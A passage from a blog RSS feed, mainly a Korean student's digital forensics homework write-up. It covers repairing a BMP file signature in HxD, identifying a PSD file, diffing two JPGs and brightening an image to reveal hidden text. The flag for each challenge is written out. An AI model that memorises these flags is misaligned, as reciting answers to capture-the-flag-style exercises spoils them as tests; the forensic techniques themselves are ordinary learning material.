captcha를 확인하는 루틴이 한번에 처리되록 하는 것이 좋다-&gt; 요청 여러개로 나누어 처리할 경우 반드시 모든 단계를 정상적으로 통과하도록 구현해야 한다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[디지털포렌식 1주차 과제]]></title>
            <link>https://velog.io/@lsh_1/%EB%94%94%EC%A7%80%ED%84%B8%ED%8F%AC%EB%A0%8C%EC%8B%9D-1%EC%A3%BC%EC%B0%A8-%EA%B3%BC%EC%A0%9C</link>
            <guid>https://velog.io/@lsh_1/%EB%94%94%EC%A7%80%ED%84%B8%ED%8F%AC%EB%A0%8C%EC%8B%9D-1%EC%A3%BC%EC%B0%A8-%EA%B3%BC%EC%A0%9C</guid>
            <pubDate>Thu, 10 Nov 2022 05:20:52 GMT</pubDate>
            <description><![CDATA[<p>&lt;과제1-1&gt;
<img src="https://velog.velcdn.com/images/lsh_1/post/5d117e7b-d846-453a-a9fb-03547bf2934e/image.png" alt="">
위 파일을 HxD로 살펴보면 파일 시그니처 파트가 00 00으로 되어있다. 
<img src="https://velog.velcdn.com/images/lsh_1/post/d79d9f49-0c80-48e6-b74b-135271063fc7/image.png" alt="">
BMP의 파일 시그니처를 검색해보자--&gt; 42 4D
<img src="https://velog.velcdn.com/images/lsh_1/post/57c24cb0-90d6-4138-a1ff-0aed717ebec1/image.png" alt="">
원래의 파일 시그니처 부분 00 00을 bmp 파일 시그니처 42 4D로 옳바르게 고쳐보자.
<img src="https://velog.velcdn.com/images/lsh_1/post/3587aaa6-ef22-4182-9635-bce9667b143b/image.png" alt="">
then, 파일이 열린다.--&gt; EVI$ION{He_wanna_be_a_hen}
<img src="https://velog.velcdn.com/images/lsh_1/post/cdc5ffe8-a07b-49a6-b17e-b6589122abd3/image.png" alt=""></p>
<p>&lt;과제1-2&gt;
<img src="https://velog.velcdn.com/images/lsh_1/post/132d2664-3cdb-4378-ba9d-6fc424cb5dcb/image.png" alt="">
확장자명이 없는 data파일이 있다.
HxD로 파일의 시그니처를 확인해보자--&gt; PSD파일임을 알았다.
<img src="https://velog.velcdn.com/images/lsh_1/post/4e386f60-9ae1-4927-bbcb-724640ff5433/image.png" alt="">
파일에 확장자명(.PSD)를 추가해준 후 psd를 열 수 있는 사이트에서 열어보자.
<img src="https://velog.velcdn.com/images/lsh_1/post/6e1ff22a-4380-45fd-981b-1e1131340143/image.png" alt="">
then, 파일이 열린다 --&gt;EVI$ION{Duckiese_Summon_Doorie!}
<img src="https://velog.velcdn.com/images/lsh_1/post/334563cb-3b3f-41e4-b3e7-9d32d9fced89/image.png" alt=""></p>
<p>&lt;과제1-3&gt;
이번 문제는 어떻게 풀어야할 지 바로 감이 안오므로 hint를 잘 살펴보았다. hint대로 우선 HxD로 두 jpg파일을 살펴봐야겠다.
<img src="https://velog.velcdn.com/images/lsh_1/post/3dd3c14b-b816-4d56-91dd-e301a54965c0/image.png" alt="">
두 파일의 차이를 분석하기 위해 HxD의 비교기능을 활용해보자.</p>
<p><img src="https://velog.velcdn.com/images/lsh_1/post/d5b2807f-35bf-4380-8ace-6d4c07676b48/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/lsh_1/post/aacaa0c6-5c8d-43c0-8d1b-144fe3a2ecec/image.png" alt="">
그래서 두 파일의 차이가 무슨 의미가 있지? 라는 생각이 들던 찰나 hint에 있던 사막에서 바늘찾기가 떠오르면서 뭔지는 모르겠지만 중요하다는 것을 직감하고 포스트잇에 비교된 부분들을 차례대로 작성해보니 --&gt;&quot;EVI$ION{FLAGCATCHER}&quot;가 나온다.</p>
<p>&lt;과제2-multimedia&gt;
첫번째 문제 도전!
<img src="https://velog.velcdn.com/images/lsh_1/post/866af9e1-6494-4ccc-b019-3359551fef34/image.png" alt="">
문제의 jpg파일을 열어보니 다음과 같았다.
<img src="https://velog.velcdn.com/images/lsh_1/post/6d07e956-db32-42d2-8312-388456b3369e/image.png" alt="">
처음에는 어떻게 풀지 몰라 HxD에 넣어 flag 혹은 key값을 찾아보기도 했으나 아무런 정보도 얻을 수 없었다. 다운받은 jpg파일을 이리저리 만져보던 중 밝기를 낮추니 어떤 형태가 나타나기 시작했고 잘 보니 강아지 형태와 희미한 글씨가 보이는 것을 확인했다...문제에서 강아지 얘기가 나온이유가 있었군..이라는 생각과 함께 확대 및 파일 수정을 해가며 정답을 찾고 작성!
<img src="https://velog.velcdn.com/images/lsh_1/post/56bdc029-4ac8-40ca-8ed1-ef147b88ce7c/image.png" alt="">
<img src="https://velog.velcdn.com/images/lsh_1/post/1988ee5c-27c4-46b9-a6f6-4e7bf07ee2b8/image.png" alt="">
--&gt; 해결완료!!! 
디지털 포렌식 꽤..재밌을지도..</p>
]]></description>
        </item>
    </channel>
</rss>